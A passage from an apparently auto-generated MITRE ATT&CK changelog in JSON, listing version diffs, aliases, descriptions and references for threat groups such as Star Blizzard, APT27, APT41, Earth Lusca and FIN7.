>rowdstrike TELCO BPO Campaign December 2022)>[Scattered Spider](https://attack.mitre.org/groups/G1015) ha
 >d expanded into hybrid cloud and identity environments, usin
 >g help-desk impersonation and MFA bypass to obtain administr
 >ator access in Okta, AWS, and Office 365. (Citation: Mandian
 >t UNC3944 May 2025)
" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-14 18:17:18.727000+00:00", + "modified": "2025-10-22 22:12:56.172000+00:00", + "name": "Star Blizzard", + "description": "[Star Blizzard](https://attack.mitre.org/groups/G1033) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://attack.mitre.org/groups/G1033) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)\n", + "aliases": [ + "Star Blizzard", + "SEABORGIUM", + "Callisto Group", + "TA446", + "COLDRIVER" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1033", + "external_id": "G1033" + }, + { + "source_name": "Callisto Group", + "description": "(Citation: CISA Star Blizzard Advisory December 2023)" + }, + { + "source_name": "TA446", + "description": "(Citation: CISA Star Blizzard Advisory December 2023)" + }, + { + "source_name": "COLDRIVER", + "description": "(Citation: Google TAG COLDRIVER January 2024)" + }, + { + "source_name": "SEABORGIUM", + "description": "(Citation: Microsoft Star Blizzard August 2022)" + }, + { + "source_name": "CISA Star Blizzard Advisory December 2023", + "description": "CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a" + }, + { + "source_name": "Microsoft Star Blizzard August 2022", + "description": "Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM\u2019s ongoing phishing operations. Retrieved June 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/" + }, + { + "source_name": "StarBlizzard", + "description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/" + }, + { + "source_name": "Google TAG COLDRIVER January 2024", + "description": "Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.", + "url": "https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Aung Kyaw Min Naing, @Nolan" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 22:12:56.172000+00:00\", \"old_value\": \"2024-06-14 18:39:26.684000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"mobile-attack\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:58.518000+00:00", + "modified": "2025-10-15 20:24:59.798000+00:00", + "name": "Threat Group-3390", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)", + "aliases": [ + "Threat Group-3390", + "Earth Smilodon", + "TG-3390", + "Emissary Panda", + "BRONZE UNION", + "APT27", + "Iron Tiger", + "LuckyMouse", + "Linen Typhoon" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0027", + "external_id": "G0027" + }, + { + "source_name": "Threat Group-3390", + "description": "(Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018)" + }, + { + "source_name": "TG-3390", + "description": "(Citation: Dell TG-3390)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Hacker News LuckyMouse June 2018)" + }, + { + "source_name": "Emissary Panda", + "description": "(Citation: Gallagher 2015)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)(Citation: Trend Micro Iron Tiger April 2021)" + }, + { + "source_name": "Iron Tiger", + "description": "(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)" + }, + { + "source_name": "Linen Typhoon", + "description": "(Citation: Microsoft Naming Conventions Frequently Updated)" + }, + { + "source_name": "APT27", + "description": "(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)" + }, + { + "source_name": "LuckyMouse", + "description": "(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)" + }, + { + "source_name": "BRONZE UNION", + "description": "(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)" + }, + { + "source_name": "Earth Smilodon", + "description": "(Citation: Trend Micro Iron Tiger April 2021)" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + }, + { + "source_name": "Gallagher 2015", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" + }, + { + "source_name": "Hacker News LuckyMouse June 2018", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Trend Micro Iron Tiger April 2021", + "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.", + "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" + }, + { + "source_name": "Trend Micro DRBControl February 2020", + "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.", + "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf" + }, + { + "source_name": "Microsoft Naming Conventions Frequently Updated", + "description": "Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.", + "url": "https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Kyaw Pyiyt Htet, @KyawPyiytHtet" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-15 20:24:59.798000+00:00\", \"old_value\": \"2024-04-10 22:33:06.500000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.2\"}}, \"iterable_item_added\": {\"root['aliases'][8]\": \"Linen Typhoon\", \"root['external_references'][5]\": {\"source_name\": \"Linen Typhoon\", \"description\": \"(Citation: Microsoft Naming Conventions Frequently Updated)\"}, \"root['external_references'][18]\": {\"source_name\": \"Microsoft Naming Conventions Frequently Updated\", \"description\": \"Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.\", \"url\": \"https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 3.0" + } + ], + "minor_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23 13:43:36.945000+00:00", + "modified": "2025-06-11 20:13:29.024000+00:00", + "name": "APT41", + "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\n", + "aliases": [ + "APT41", + "Wicked Panda", + "Brass Typhoon", + "BARIUM" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0096", + "external_id": "G0096" + }, + { + "source_name": "Wicked Panda", + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" + }, + { + "source_name": "APT41", + "description": "(Citation: FireEye APT41 2019)" + }, + { + "source_name": "Brass Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "BARIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + }, + { + "source_name": "FireEye APT41 2019", + "description": "FireEye. (2019). Double DragonAPT41, a dual espionage andcyber crime operationAPT41. Retrieved September 23, 2019.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "apt41_mandiant", + "description": "Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Group IB APT 41 June 2021", + "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.", + "url": "https://www.group-ib.com/blog/colunmtk-apt41/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet", + "Nikita Rostovcev, Group-IB" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-11 20:13:29.024000+00:00\", \"old_value\": \"2025-04-22 21:56:33.318000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.2\", \"old_value\": \"4.1\"}}}", + "previous_version": "4.1", + "version_change": "4.1 \u2192 4.2" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-01 20:12:30.184000+00:00", + "modified": "2025-06-06 14:55:18.144000+00:00", + "name": "Earth Lusca", + "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)\n\n[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)", + "aliases": [ + "Earth Lusca", + "TAG-22", + "Charcoal Typhoon", + "CHROMIUM", + "ControlX" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1006", + "external_id": "G1006" + }, + { + "source_name": "Charcoal Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "ControlX", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "CHROMIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023) (Citation: Recorded Future RedHotel August 2023)" + }, + { + "source_name": "TAG-22", + "description": "(Citation: Recorded Future TAG-22 July 2021)" + }, + { + "source_name": "TrendMicro EarthLusca 2022", + "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", + "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" + }, + { + "source_name": "Recorded Future TAG-22 July 2021", + "description": "INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan" + }, + { + "source_name": "Recorded Future RedHotel August 2023", + "description": "Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-06 14:55:18.144000+00:00\", \"old_value\": \"2024-09-16 16:18:00.876000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:09.460000+00:00", + "modified": "2025-10-24 03:18:58.136000+00:00", + "name": "FIN7", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)", + "aliases": [ + "FIN7", + "GOLD NIAGARA", + "ITG14", + "Carbon Spider", + "ELBRUS", + "Sangria Tempest" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0046", + "external_id": "G0046" + }, + { + "source_name": "Carbon Spider", + "description": "(Citation: CrowdStrike Carbon Spider August 2021)" + }, + { + "source_name": "FIN7", + "description": "(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)" + }, + { + "source_name": "ELBRUS", + "description": "(Citation: Microsoft Ransomware as a Service)" + }, + { + "source_name": "Sangria Tempest", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "GOLD NIAGARA", + "description": "(Citation: Secureworks GOLD NIAGARA Threat Profile)" + }, + { + "source_name": "Mandiant FIN7 Apr 2022", + "description": "Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.", + "url": "https://www.mandiant.com/resources/evolution-of-fin7" + }, + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + }, + { + "source_name": "BiZone Lizar May 2021", + "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022.", + "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "Secureworks GOLD NIAGARA Threat Profile", + "description": "CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.", + "url": "https://www.secureworks.com/research/threat-profiles/gold-niagara" + }, + { + "source_name": "FireEye FIN7 Shim Databases", + "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" + }, + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + }, + { + "source_name": "ITG14", + "description": "ITG14 shares campaign overlap with [FIN7](https://attack.mitre.org/groups/G0046).(Citation: IBM Ransomware Trends September 2020)" + }, + { + "source_name": "CrowdStrike Carbon Spider August 2021", + "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.", + "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Ransomware as a Service", + "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + }, + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "IBM Ransomware Trends September 2020", + "description": "Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.", + "url": "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Edward Millington", + "Eric Loui, CrowdStrike Intelligence", + "Serhii Melnyk, Trustwave SpiderLabs" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 03:18:58.136000+00:00\", \"old_value\": \"2024-04-17 22:09:41.004000+00:00\"}, \"root['description']\": {\"new_value\": \"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)\", \"old_value\": \"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['external_references'][8]\": {\"source_name\": \"BiZone Lizar May 2021\", \"description\": \"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\\u2019s toolkit. Retrieved February 2, 2022.\", \"url\": \"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319\"}, \"root['x_mitre_contributors'][1]\": \"Eric Loui, CrowdStrike Intelligence\", \"root['x_mitre_contributors'][2]\": \"Serhii Melnyk, Trustwave SpiderLabs\"}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[FIN7](https://attack.mitre.org/groups/G0046) is a financialt1[FIN7](https://attack.mitre.org/groups/G0046) is a financial
>ly-motivated threat group that has been active since 2013. [>ly-motivated threat group that has been active since 2013. [
>FIN7](https://attack.mitre.org/groups/G0046) has primarily t>FIN7](https://attack.mitre.org/groups/G0046) has targeted th
>argeted the retail, restaurant, hospitality, software, consu>e retail, restaurant, hospitality, software, consulting, fin
>lting, financial services, medical equipment, cloud services>ancial services, medical equipment, cloud services, media, f
>, media, food and beverage, transportation, and utilities in>ood and beverage, transportation, pharmaceutical, and utilit
>dustries in the U.S. A portion of [FIN7](https://attack.mitr>ies industries in the United States. A portion of [FIN7](htt
>e.org/groups/G0046) was run out of a front company called Co>ps://attack.mitre.org/groups/G0046) was operated out of a fr
>mbi Security and often used point-of-sale malware for target>ont company called Combi Security and often used point-of-sa
>ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro>le malware for targeting efforts. Since 2020, [FIN7](https:/
>ups/G0046) shifted operations to a big game hunting (BGH) ap>/attack.mitre.org/groups/G0046) shifted operations to big ga
>proach including use of [REvil](https://attack.mitre.org/sof>me hunting (BGH), including use of [REvil](https://attack.mi
>tware/S0496) ransomware and their own Ransomware as a Servic>tre.org/software/S0496) ransomware and their own Ransomware-
